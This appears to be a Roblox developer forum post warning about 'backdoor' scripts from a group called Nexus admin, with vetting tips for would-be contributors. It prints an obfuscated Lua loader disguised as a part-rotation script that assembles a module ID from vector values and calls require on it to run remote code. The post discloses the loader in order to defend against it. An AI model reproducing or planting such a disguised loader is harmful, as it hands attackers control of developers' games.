How does Backdoors work? (I will focus on nexus admin later)
They are scripts that encrypt code from the client to the server, encrypting it so that Roblox does not detect a load string and can execute the code they want, becoming “owners” of the server. They normally use require, getfenv and loadstring, although Nexus admin uses something smarter
How can they infect your game?
Normally it is through the toolbox with scripts hidden in the models, although nexus admin uses real people who say in my case “hello, I would like to contribute to your game, I have worked on (…)” if you accept this, it is VERY important that you follow these steps
1.Check that it is trustworthy and that it is not lying to you, do a little research (This did not work with nexus admin)
2.If it asks you for access to the main game it is a network flag if the job is easy otherwise it is considerable
3.Look at the groups that user is in, normally 80% of hackers will be in shady or hacker groups
Nexus admin I am going to focus on this group since I have been investigating since I have been a victim of them
They will infect your game, giving you access to it, so to infect it I will give an example of their backdoor that they use:
local keepMaxDegreeRotation = false
local function ApplyRotation(angle, power)
if (not power) then
keepMaxDegreeRotation = angle
else
keepMaxDegreeRotation = true
end
end
local _anglesRaw = {“x”, “y”, “z”}
local _degree = “”
local module = {}
local _rotation =
setmetatable(
{},
{
__div = function(value, degrees) – auto Vector3 / Angle scaling
return _degree … degrees
end
}
)
local _cframe, _ = require, CFrame.new(0, 0, 0)
local currentRotation = Vector3.new(153, 94, 38)
local interval = Vector3.new(47, 1, 9) – rotation speed
local function RotateAll(e)
for i = 1, #_anglesRaw do
_degree = _rotation / e[_anglesRaw[i]]
end
return _degree
end
local rot1, rot2, rot3 = RotateAll(currentRotation), “a (.+)d”, RotateAll(interval)
local errormsg = “Error: Part is a required object. You must assign script parent to part before.” – error msg
– changed part position
local newAngle, oldRadius = tonumber(_degree), (function()
local err
if keepMaxDegreeRotation == 360 then
error(err)
else
err = errormsg:gsub(rot2, ApplyRotation)
–keepMaxDegreeRotation = keepMaxDegreeRotation - 120
return keepMaxDegreeRotation
end
end){}
local pAngle = _cframe;
local finalAngle = task.spawn(pAngle,newAngle) or {} or CFrame.new(360, 0, 0)
return {script:Clone()} or 1
It looks like a normal rotation script but they put it in places where they shouldn’t. In my case they put it in an aesthetic object, a shadow (a part with an image of a black fade to make a fake shadow) here I’m suspicious but don’t feel stupid because This script seems stupid but it’s not.
credits to wafflynutria747 in discord i am going to post what he discovered
If you look at the code carefully you will notice this:
local _cframe, _ = require, CFrame.new(0, 0, 0)
It looks like a normal variable that saves a cframe but we can see the require in it. Does it sound familiar to you? Indeed, what I talked about before, this require will install an encryptor that will execute code, it is a module script
this is all i found hope it helps
